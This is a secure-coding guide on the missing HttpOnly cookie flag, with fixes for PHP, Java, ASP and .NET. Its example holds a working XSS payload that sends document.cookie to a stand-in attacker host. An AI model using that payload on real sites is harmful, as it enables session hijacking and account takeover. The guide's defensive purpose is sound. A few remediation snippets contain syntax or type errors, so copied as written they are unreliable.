Missing HttpOnly flag on cookies

When a cookie doesn’t have an HttpOnly flag, it can be accessed through JavaScript, which means that an XSS could lead to cookies being stolen. These cookies include, but are not limited to, CSRF tokens and client sessions that can make it easier to achieve account/session takeover.

What can happen?

In case the attacker manages to find an XSS on a website, they can use the vulnerability to gain access to user’s cookies which aren’t protected by the HttpOnly flag. This, in turn, could lead to account/session takeover.

Example of the vulnerability

The attacker finds an XSS on a website and uses that to create a link which injects the following code into the user's browser:

<script>
location.href = "https://attacker.com/cookie.php?c=" + document.cookie;
</script>

That will redirect the user to https://attacker.com/cookie.php with all his cookies as parameter c and the attacker can now hijack the session.

Remediation

By setting the HttpOnly flag on a cookie, JavaScript will just return an empty string when trying to read it and thus make it impossible to steal cookies via an XSS.Any cookie which you don’t need to access in JavaScript should get the flag.

Here is how to set the HttpOnly flag on cookies in PHP, Java and Classic ASP.

Set HttpOnly cookie in PHP

The following line sets the HttpOnly flag for session cookies - make sure to call it before you call session_start():

ini_set("session.cookie_httponly", True);

This is the most common way to set cookies in PHP, empty variables will hold their default value.

setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);

The easiest way of setting a cookie with the HttpOnly flag would therefore be:

'setcookie("myCookie", "value", "", "", "", "", "true");'

A more low-level and less PHP-like alternative to setcookie()

header("Set-Cookie: myCookie=value; httpOnly");

Set HttpOnly cookie in Java

To set the HttpOnly flag on general cookies in Java:

Cookie cookie = getMyCookie("myCookie");
cookie.setHttpOnly(true);

Add this to the configuration (web.xml) to make sure session cookies also get the HttpOnly flag:

<session-config>
<cookie-config>
<http-only>true</http-only>
</cookie-config>
</session-config>

Set HttpOnly cookie in classic ASP

Set the HttpOnly flag in cookies in classic ASP:

HttpCookie cookie = new HttpCookie("myCookie", "value");
cookie.Path = "/; HttpOnly";
Response.Cookies.Add(cookie);

Or write the whole header to set it:

Response.AddHeader("Set-Cookie", "myCookie=value; path=/; HttpOnly);

Set HttpOnly cookie in .NET > 2.0

Add following snippet to your web.config:

<system.web>
    <httpCookies httpOnlyCookies="true" />
</system.web>

Remember that this isn’t a fix for XSS, so you still need to watch out for that vulnerability.

Resources

Related articles